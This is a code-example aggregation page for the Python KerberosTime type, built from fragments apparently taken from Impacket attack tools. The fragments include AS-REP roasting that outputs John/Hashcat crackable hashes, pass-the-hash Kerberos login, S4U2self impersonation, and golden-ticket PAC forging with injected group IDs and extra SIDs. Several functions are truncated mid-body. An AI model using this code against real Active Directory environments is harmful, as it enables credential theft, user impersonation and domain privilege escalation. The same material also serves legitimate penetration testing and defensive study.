Python types.KerberosTime类代码示例

    def getTGT(self, userName, requestPAC=True):

        clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        asReq = AS_REQ()

        domain = self.__domain.upper()
        serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        pacRequest = KERB_PA_PAC_REQUEST()
        pacRequest['include-pac'] = requestPAC
        encodedPacRequest = encoder.encode(pacRequest)

        asReq['pvno'] = 5
        asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)

        asReq['padata'] = noValue
        asReq['padata'][0] = noValue
        asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        asReq['padata'][0]['padata-value'] = encodedPacRequest

        reqBody = seq_set(asReq, 'req-body')

        opts = list()
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)
        opts.append(constants.KDCOptions.proxiable.value)
        reqBody['kdc-options'] = constants.encodeFlags(opts)

        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        seq_set(reqBody, 'cname', clientName.components_to_asn1)

        if domain == '':
            raise Exception('Empty Domain not allowed in Kerberos')

        reqBody['realm'] = domain

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['rtime'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)

        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)

        seq_set_iter(reqBody, 'etype', supportedCiphers)

        message = encoder.encode(asReq)

        try:
            r = sendReceive(message, domain, self.__kdcHost)
        except KerberosError, e:
            if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                # RC4 not available, OK, let's ask for newer types
                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
                                    int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
                seq_set_iter(reqBody, 'etype', supportedCiphers)
                message = encoder.encode(asReq)
                r = sendReceive(message, domain, self.__kdcHost)
            else:
                raise e

def getKerberosType3(cipher, sessionKey, auth_data):
    negTokenResp = SPNEGO_NegTokenResp(auth_data)
    # If DCE_STYLE = FALSE
    #ap_rep = decoder.decode(negTokenResp['ResponseToken'][16:], asn1Spec=AP_REP())[0]
    try:
        krbError = KerberosError(packet = decoder.decode(negTokenResp['ResponseToken'][15:], asn1Spec = KRB_ERROR())[0])
    except Exception:
        pass
    else:
        raise krbError

    ap_rep = decoder.decode(negTokenResp['ResponseToken'], asn1Spec=AP_REP())[0]

    cipherText = ap_rep['enc-part']['cipher']

    # Key Usage 12
    # AP-REP encrypted part (includes application session
    # subkey), encrypted with the application session key
    # (Section 5.5.2)
    plainText = cipher.decrypt(sessionKey, 12, cipherText)

    encAPRepPart = decoder.decode(plainText, asn1Spec = EncAPRepPart())[0]

    cipher = _enctype_table[int(encAPRepPart['subkey']['keytype'])]()
    sessionKey2 = Key(cipher.enctype, encAPRepPart['subkey']['keyvalue'].asOctets())

    sequenceNumber = int(encAPRepPart['seq-number'])

    encAPRepPart['subkey'].clear()
    encAPRepPart = encAPRepPart.clone()

    now = datetime.datetime.utcnow()
    encAPRepPart['cusec'] = now.microsecond
    encAPRepPart['ctime'] = KerberosTime.to_asn1(now)
    encAPRepPart['seq-number'] = sequenceNumber
    encodedAuthenticator = encoder.encode(encAPRepPart)

    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 12, encodedAuthenticator, None)

    ap_rep['enc-part'].clear()
    ap_rep['enc-part']['etype'] = cipher.enctype
    ap_rep['enc-part']['cipher'] = encryptedEncodedAuthenticator

    resp = SPNEGO_NegTokenResp()
    resp['ResponseToken'] = encoder.encode(ap_rep)

    return cipher, sessionKey2, resp.getData()

def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True):
    
    asReq = AS_REQ()

    domain = domain.upper()
    serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)  

    pacRequest = KERB_PA_PAC_REQUEST()
    pacRequest['include-pac'] = requestPAC
    encodedPacRequest = encoder.encode(pacRequest)

    asReq['pvno'] = 5
    asReq['msg-type'] =  int(constants.ApplicationTagNumbers.AS_REQ.value)
    asReq['padata'] = None
    asReq['padata'][0] = None
    asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
    asReq['padata'][0]['padata-value'] = encodedPacRequest

    reqBody = seq_set(asReq, 'req-body')

    opts = list()
    opts.append( constants.KDCOptions.forwardable.value )
    opts.append( constants.KDCOptions.renewable.value )
    opts.append( constants.KDCOptions.proxiable.value )
    reqBody['kdc-options']  = constants.encodeFlags(opts)

    seq_set(reqBody, 'sname', serverName.components_to_asn1)
    seq_set(reqBody, 'cname', clientName.components_to_asn1)

    if domain == '':
        raise Exception('Empty Domain not allowed in Kerberos')

    reqBody['realm'] = domain

    now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
    reqBody['till'] = KerberosTime.to_asn1(now)
    reqBody['rtime'] = KerberosTime.to_asn1(now)
    reqBody['nonce'] =  random.getrandbits(31)

    # Yes.. this shouldn't happend but it's inherited from the past
    if aesKey is None:
        aesKey = ''

    if nthash == '':
        # This is still confusing. I thought KDC_ERR_ETYPE_NOSUPP was enough, 
        # but I found some systems that accepts all ciphers, and trigger an error 
        # when requesting subsequent TGS :(. More research needed.
        # So, in order to support more than one cypher, I'm setting aes first
        # since most of the systems would accept it. If we're lucky and 
        # KDC_ERR_ETYPE_NOSUPP is returned, we will later try rc4.
        if aesKey != '':
            if len(aesKey) == 64:
                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
            else:
                supportedCiphers = (int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
        else:
            supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),)
    else:
        # We have hashes to try, only way is to request RC4 only
        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)

    seq_set_iter(reqBody, 'etype', supportedCiphers)

    message = encoder.encode(asReq)

    try:
        r = sendReceive(message, domain, kdcHost)
    except KerberosError, e:
        if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
            if supportedCiphers[0] in (constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value) and aesKey is '':
                supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
                seq_set_iter(reqBody, 'etype', supportedCiphers)
                message = encoder.encode(asReq)
                r = sendReceive(message, domain, kdcHost)
            else: 
                raise 
        else:
            raise 

def getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey):

    # Decode the TGT
    try:
        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
    except:
        decodedTGT = decoder.decode(tgt, asn1Spec = TGS_REP())[0]

    domain = domain.upper()
    # Extract the ticket from the TGT
    ticket = Ticket()
    ticket.from_asn1(decodedTGT['ticket'])

    apReq = AP_REQ()
    apReq['pvno'] = 5
    apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

    opts = list()
    apReq['ap-options'] =  constants.encodeFlags(opts)
    seq_set(apReq,'ticket', ticket.to_asn1)

    authenticator = Authenticator()
    authenticator['authenticator-vno'] = 5
    authenticator['crealm'] = str(decodedTGT['crealm'])

    clientName = Principal()
    clientName.from_asn1( decodedTGT, 'crealm', 'cname')

    seq_set(authenticator, 'cname', clientName.components_to_asn1)

    now = datetime.datetime.utcnow()
    authenticator['cusec'] =  now.microsecond
    authenticator['ctime'] = KerberosTime.to_asn1(now)

    encodedAuthenticator = encoder.encode(authenticator)

    # Key Usage 7
    # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
    # TGS authenticator subkey), encrypted with the TGS session
    # key (Section 5.5.1)
    encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

    apReq['authenticator'] = None
    apReq['authenticator']['etype'] = cipher.enctype
    apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

    encodedApReq = encoder.encode(apReq)

    tgsReq = TGS_REQ()

    tgsReq['pvno'] =  5
    tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
    tgsReq['padata'] = None
    tgsReq['padata'][0] = None
    tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
    tgsReq['padata'][0]['padata-value'] = encodedApReq

    reqBody = seq_set(tgsReq, 'req-body')

    opts = list()
    opts.append( constants.KDCOptions.forwardable.value )
    opts.append( constants.KDCOptions.renewable.value )
    opts.append( constants.KDCOptions.renewable_ok.value )
    opts.append( constants.KDCOptions.canonicalize.value )

    reqBody['kdc-options'] = constants.encodeFlags(opts)
    seq_set(reqBody, 'sname', serverName.components_to_asn1)
    reqBody['realm'] = domain

    now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

    reqBody['till'] = KerberosTime.to_asn1(now)
    reqBody['nonce'] = random.getrandbits(31)
    seq_set_iter(reqBody, 'etype',
                      (
                          int(constants.EncryptionTypes.rc4_hmac.value),
                          int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
                          int(cipher.enctype)
                       )
                )

    message = encoder.encode(tgsReq)

    r = sendReceive(message, domain, kdcHost)

    # Get the session key

    tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]

    cipherText = tgs['enc-part']['cipher']

    # Key Usage 8
    # TGS-REP encrypted part (includes application session
    # key), encrypted with the TGS session key (Section 5.4.2)
    plainText = cipher.decrypt(sessionKey, 8, str(cipherText))

    encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]

    newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue']))
    # Creating new cipher based on received keytype
#.........这里部分代码省略.........

                if etype['salt'] is None:
                    salt = ''
                else: 
                    salt = str(etype['salt'])  
                encryptionTypesData[etype['etype']] = salt

    enctype = supportedCiphers[0]

    if encryptionTypesData.has_key(enctype) is False:
        raise Exception('No Encryption Data Available!')

    # Let's build the timestamp
    timeStamp = PA_ENC_TS_ENC()

    now = datetime.datetime.utcnow() 
    timeStamp['patimestamp'] = KerberosTime.to_asn1(now)
    timeStamp['pausec'] = now.microsecond

    # Encrypt the shyte
    cipher = _enctype_table[enctype]

    # Pass the hash/aes key :P
    if nthash != '':
        key = Key(cipher.enctype, nthash)
    elif aesKey != '':
        key = Key(cipher.enctype, unhexlify(aesKey))
    else:
        key = cipher.string_to_key(password, encryptionTypesData[enctype], None)
    encodedTimeStamp = encoder.encode(timeStamp)

    # Key Usage 1

    def getTGT(self, userName, requestPAC=True):

        clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        asReq = AS_REQ()

        domain = self.__domain.upper()
        serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        pacRequest = KERB_PA_PAC_REQUEST()
        pacRequest['include-pac'] = requestPAC
        encodedPacRequest = encoder.encode(pacRequest)

        asReq['pvno'] = 5
        asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)

        asReq['padata'] = noValue
        asReq['padata'][0] = noValue
        asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        asReq['padata'][0]['padata-value'] = encodedPacRequest

        reqBody = seq_set(asReq, 'req-body')

        opts = list()
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)
        opts.append(constants.KDCOptions.proxiable.value)
        reqBody['kdc-options'] = constants.encodeFlags(opts)

        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        seq_set(reqBody, 'cname', clientName.components_to_asn1)

        if domain == '':
            raise Exception('Empty Domain not allowed in Kerberos')

        reqBody['realm'] = domain

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['rtime'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)

        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)

        seq_set_iter(reqBody, 'etype', supportedCiphers)

        message = encoder.encode(asReq)

        try:
            r = sendReceive(message, domain, self.__kdcHost)
        except KerberosError as e:
            if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                # RC4 not available, OK, let's ask for newer types
                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
                                    int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
                seq_set_iter(reqBody, 'etype', supportedCiphers)
                message = encoder.encode(asReq)
                r = sendReceive(message, domain, self.__kdcHost)
            else:
                raise e

        # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
        # 'Do not require Kerberos preauthentication' set
        try:
            asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
        except:
            # Most of the times we shouldn't be here, is this a TGT?
            asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
        else:
            # The user doesn't have UF_DONT_REQUIRE_PREAUTH set
            raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)

        if self.__outputFormat == 'john':
            # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
            return '$krb5asrep$%[email protected]%s:%s$%s' % (clientName, domain,
                                               hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
                                               hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
        else:
            # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
            return '$krb5asrep$%d$%[email protected]%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())

    def dump(self, addr):
        # Try all requested protocols until one works.

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                self.__lmhash.decode('hex'), self.__nthash.decode('hex'))

        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1( decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('AUTHENTICATOR')
            print authenticator.prettyPrint()
            print ('\n')

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] =  5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
        # requests a service ticket to itself on behalf of a user. The user is
        # identified to the KDC by the user's name and realm.
        clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
        S4UByteArray += self.__behalfUser + self.__domain + 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('S4UByteArray')
            hexdump(S4UByteArray)

        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
        # with the following three parameters: the session key of the TGT of
        # the service performing the S4U2Self request, the message type value
        # of 17, and the byte array S4UByteArray.
        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('CheckSum')
            hexdump(checkSum)

        paForUserEnc = PA_FOR_USER_ENC()
        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
        paForUserEnc['userRealm'] = self.__domain
        paForUserEnc['cksum'] = noValue
        paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
        paForUserEnc['cksum']['checksum'] = checkSum
        paForUserEnc['auth-package'] = 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('PA_FOR_USER_ENC')
            print paForUserEnc.prettyPrint()

        encodedPaForUserEnc = encoder.encode(paForUserEnc)

        tgsReq['padata'][1] = noValue
#.........这里部分代码省略.........

    def doS4U(self, tgt, cipher, oldSessionKey, sessionKey):
        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1( decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('AUTHENTICATOR')
            print authenticator.prettyPrint()
            print ('\n')

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] =  5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
        # requests a service ticket to itself on behalf of a user. The user is
        # identified to the KDC by the user's name and realm.
        clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
        S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('S4UByteArray')
            hexdump(S4UByteArray)

        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
        # with the following three parameters: the session key of the TGT of
        # the service performing the S4U2Self request, the message type value
        # of 17, and the byte array S4UByteArray.
        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('CheckSum')
            hexdump(checkSum)

        paForUserEnc = PA_FOR_USER_ENC()
        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
        paForUserEnc['userRealm'] = self.__domain
        paForUserEnc['cksum'] = noValue
        paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
        paForUserEnc['cksum']['checksum'] = checkSum
        paForUserEnc['auth-package'] = 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('PA_FOR_USER_ENC')
            print paForUserEnc.prettyPrint()

        encodedPaForUserEnc = encoder.encode(paForUserEnc)

        tgsReq['padata'][1] = noValue
        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
        tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
#.........这里部分代码省略.........

    def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
                      TGS=None, useCache=True):
        """
        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for (required)
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
        :param struct TGT: If there's a TGT available, send the structure here and it will be used
        :param struct TGS: same for TGS. See smb3.py for the format
        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False

        :return: True, raises a LDAPSessionError if error.
        """

        if lmhash != '' or nthash != '':
            if len(lmhash) % 2:     lmhash = '0%s' % lmhash
            if len(nthash) % 2:     nthash = '0%s' % nthash
            try:  # just in case they were converted already
                lmhash = unhexlify(lmhash)
                nthash = unhexlify(nthash)
            except:
                pass

        # Importing down here so pyasn1 is not required if kerberos is not used.
        from impacket.krb5.ccache import CCache
        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
        from impacket.krb5 import constants
        from impacket.krb5.types import Principal, KerberosTime, Ticket
        from pyasn1.codec.der import decoder, encoder
        import datetime

        if TGT is not None or TGS is not None:
            useCache = False

        if useCache is True:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except:
                # No cache present
                pass
            else:
                # retrieve user and domain information from CCache file if needed
                if user == '' and len(ccache.principal.components) > 0:
                    user = ccache.principal.components[0]['data']
                if domain == '':
                    domain = ccache.principal.realm['data']
                LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
                principal = 'ldap/%[email protected]%s' % (self._dstHost.upper(), domain.upper())
                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%[email protected]%s' % (domain.upper(), domain.upper())
                    creds = ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        LOG.debug('Using TGT from cache')
                    else:
                        LOG.debug("No valid credentials found in cache. ")
                else:
                    TGS = creds.toTGS()
                    LOG.debug('Using TGS from cache')

        # First of all, we need to get a TGT for the user
        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        if TGT is None:
            if TGS is None:
                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
                                                                        aesKey, kdcHost)
        else:
            tgt = TGT['KDC_REP']
            cipher = TGT['cipher']
            sessionKey = TGT['sessionKey']

        if TGS is None:
            serverName = Principal('ldap/%s' % self._dstHost,
                                   type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
                                                                    sessionKey)
        else:
            tgs = TGS['KDC_REP']
            cipher = TGS['cipher']
            sessionKey = TGS['sessionKey']

            # Let's build a NegTokenInit with a Kerberos REQ_AP

        blob = SPNEGO_NegTokenInit()

        # Kerberos
        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]

        # Let's extract the ticket from the TGS
        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])
#.........这里部分代码省略.........

    def customizeTicket(self, kdcRep, pacInfos):
        logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
        encTicketPart = EncTicketPart()

        flags = list()
        flags.append(TicketFlags.forwardable.value)
        flags.append(TicketFlags.proxiable.value)
        flags.append(TicketFlags.renewable.value)
        flags.append(TicketFlags.initial.value)
        flags.append(TicketFlags.pre_authent.value)
        encTicketPart['flags'] = encodeFlags(flags)
        encTicketPart['key'] = None
        encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']

        if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
            encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
        elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
            encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)])
        else:
            encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])

        encTicketPart['crealm'] = self.__domain.upper()
        encTicketPart['cname'] = None
        encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
        encTicketPart['cname']['name-string'] = None
        encTicketPart['cname']['name-string'][0] = self.__target

        encTicketPart['transited'] = None
        encTicketPart['transited']['tr-type'] = 0
        encTicketPart['transited']['contents'] = ''

        encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
        encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
        # Let's extend the ticket's validity a lil bit
        ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration))
        encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
        encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
        encTicketPart['authorization-data'] = None
        encTicketPart['authorization-data'][0] = None
        encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
        encTicketPart['authorization-data'][0]['ad-data'] = None

        # Let's locate the KERB_VALIDATION_INFO and Checksums
        if pacInfos.has_key(PAC_LOGON_INFO):
            data = pacInfos[PAC_LOGON_INFO]
            validationInfo = VALIDATION_INFO()
            validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
            lenVal = len(validationInfo.getData())
            validationInfo.fromStringReferents(data[lenVal:], lenVal)

            aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))

            unixTime = self.getFileTime(aTime)

            kerbdata = KERB_VALIDATION_INFO()

            kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
            kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32

            # Let's adjust username and other data
            validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
            validationInfo['Data']['EffectiveName'] = self.__target
            # Our Golden Well-known groups! :)
            groups = self.__options.groups.split(',')
            validationInfo['Data']['GroupIds'] = list()
            validationInfo['Data']['GroupCount'] = len(groups)

            for group in groups:
                groupMembership = GROUP_MEMBERSHIP()
                groupId = NDRULONG()
                groupId['Data'] = int(group)
                groupMembership['RelativeId'] = groupId
                groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
                validationInfo['Data']['GroupIds'].append(groupMembership)

            # Let's add the extraSid
            if self.__options.extra_sid is not None:
                if validationInfo['Data']['SidCount'] == 0:
                    # Let's be sure user's flag specify we have extra sids.
                    validationInfo['Data']['UserFlags'] |= 0x20
                    validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()

                validationInfo['Data']['SidCount'] += 1

                sidRecord = KERB_SID_AND_ATTRIBUTES()

                sid = RPC_SID()
                sid.fromCanonical(self.__options.extra_sid)

                sidRecord['Sid'] = sid
                sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED

                # And, let's append the magicSid
                validationInfo['Data']['ExtraSids'].append(sidRecord)
            else:
                validationInfo['Data']['ExtraSids'] = NULL

            validationInfoBlob  = validationInfo.getData() + validationInfo.getDataReferents()
            pacInfos[PAC_LOGON_INFO] = validationInfoBlob

#.........这里部分代码省略.........

    def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, authTime):
        # Get out Golden PAC
        goldenPAC = self.getGoldenPAC(authTime)

        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        # Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
        ifRelevant = AD_IF_RELEVANT()
        ifRelevant[0] = None
        ifRelevant[0]['ad-type'] = int(constants.AuthorizationDataType.AD_IF_RELEVANT.value)
        ifRelevant[0]['ad-data'] = goldenPAC

        encodedIfRelevant = encoder.encode(ifRelevant)

        # Key Usage 4
        # TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
